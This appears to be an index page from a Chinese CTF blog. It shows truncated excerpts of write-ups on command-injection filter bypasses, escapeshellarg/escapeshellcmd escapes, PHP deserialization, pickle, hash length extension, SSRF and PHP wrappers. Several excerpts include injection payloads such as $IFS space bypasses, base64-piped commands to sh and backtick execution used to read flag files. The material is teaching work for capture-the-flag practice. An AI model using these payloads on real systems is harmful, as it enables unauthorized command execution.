命令执行Bypass
举例,ping命令判断存活主机 123456ping -c 1 -w 1 192.168.1.1 &> /dev/null && result=0 ||result=1 if [ "$result" == 0 ];then echo "192.168.1.1 is UP!" else echo "192.168.2.1 is DOWN!" fi 注意 &>要连起来写。 linux下 命令执行变量拼接 1/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 过滤bash用sh执行 1echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 内联执行 将反引号内命令的输出作为输入执行 1?ip=127.0.0.1;cat$IFS$9`ls` 空格绕过 12345678$IFS${IFS}$IFS$1 //$1改成$加其他数字貌似都行< <>...
GXYCTF2019
Ping Ping Ping 页面显示?ip=,传入ip参数为12,则显示 ping 0.0.0.12应该是命令执行绕过 输入ip=12;ls返回目录下有index.php flag.php fuzz一下,过滤了{},flag,‘’,“”,空格等等,但是$ |号没有过滤,在bash中${IFS}代表换行符 12 ⚡ root@kali echo ${IFS}|base64IAkKAAo= 输入?ip=12;cat$IFS\index.php返回了index.php的内容,但是显示不全,所以base64编码一下在输出 ?ip=12;cat$IFS\index.php|base64 1234567891011121314151617181920解码后:/?ip=<?phpif(isset($_GET['ip'])){ $ip = $_GET['ip']; ...
escapeshellarg与escapeshellcmd造成的逃逸
escapeshellcmd() escapeshellcmd()功能escapeshellcmd: escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。 反斜线(\)会在以下字符之前插入: *&#;`|*?~<>^()[]{}$*, \x0A 和 \xFF。 ’ 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。 **escapeshellcmd()**函数在底层代码如下(详细点 这里 https://github.com/php/php-src/blob/PHP-5.6.29/ext/standard/mail.c): escapeshellarg() escapeshellarg()定义 escapeshellarg— 把字符串转码为可以在 shell...
BUUCTF2018
Online Tool RCE 123456789101112131415161718<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];}if(!isset($_GET['host'])) { highlight_file(__FILE__);} else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in...
ZJCTF2019
NiZhuanSiWei 12345678910111213141516171819 <?php $text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); ...
0CTF2016
piapiapia 数组绕过正则 反序列化长度问题导致的尾部字符逃逸 顺手存一下图片~ 输入admin@admin(@表示分割姓名密码)提示Invalid user name or password 输入admin@1提示Invalid password 输入admin@asd提示Invalid user name or password 输入admin@123提示Invalid user name or password 输入sadaaaaaa@asdddd提示Invalid user name 输入username=aaaaaaaaaabbbbbbb&password=21提示Invalid user name 输入username=aaaaaaaaaabbbbb&password=22提示Invalid password 输入username=aaaaaaaaaabbbbbb&password=211提示Invalid user name or password 貌似和长度有关系,但是没看到有啥用 扫一下目录发现 12Dir found:...
python-Pickle序列化
Pickle构造原理 0x00 Pickle是干什么用的:序列化、反序列化 在很多任务中,我们可能会需要把一些内容存储起来,以备后续利用。如果我们要存储的内容只是一条字符串或是数字,那么我们只需要把它写进文件就行。然而,如果我们需要存储的东西是一个dict、一个list,甚至一个对象: 123456class dairy(): date = 20191029 text = "今天哈尔滨冷死人了QAQ" todo = ['大物实验报告', 'CTF题', 'CSAPP作业']today = dairy() 要把这样的dairy实例today存放在文件里,日后还要支持随时导入,就是很麻烦的事情了。通行的做法是:通过一套方案,把这个today 翻译成一个字符串,然后把字符串写进文件;读取的时候,通过读文件拿到字符串,然后翻译成dairy类的一个实例。 我们把“对象 -> 字符串”的翻译过程称为“序列化”;相应地,把“字符串 -> 对象”的过程称为“反序列化” ...
哈系长度扩展攻击-hashpumpy
工具 12345git clone https://github.com/bwall/HashPumpapt-get install g++ libssl-devcd HashPumpmakemake install 至于想在python里实现hashpump,可以使用hashpumpy这个插件: (注意还是得先安装了libssl-dev) 1pip install hashpumpy 推荐在linux里使用,使用方法可以这样获取: 123python>>> import hashpumpy>>> help(hashpumpy.hashpump) HashPump用法 这里以一个实验吧题目为例,关键的代码大概如下: [](javascript:void(0);) 1234567891011<?php$secret="XXXXXXXXXXXXXXX"; // This secret is 15 characters long for...
De1CTF2019
SSRF Me 题目提示我们flag在./flag.txt 进去就是源码,一个flask框架的简易web应用 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102#! /usr/bin/env python#encoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key =...
php伪协议
文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file 。 首先归纳下常见的文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file,计划对文件包含漏洞与php封装协议的利用方法进行总结,本篇先总结下一些封装协议,涉及的相关协议:file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://,后续再对每个文件包含函数进一步进行探讨。 环境概要: PHP.ini: allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL...


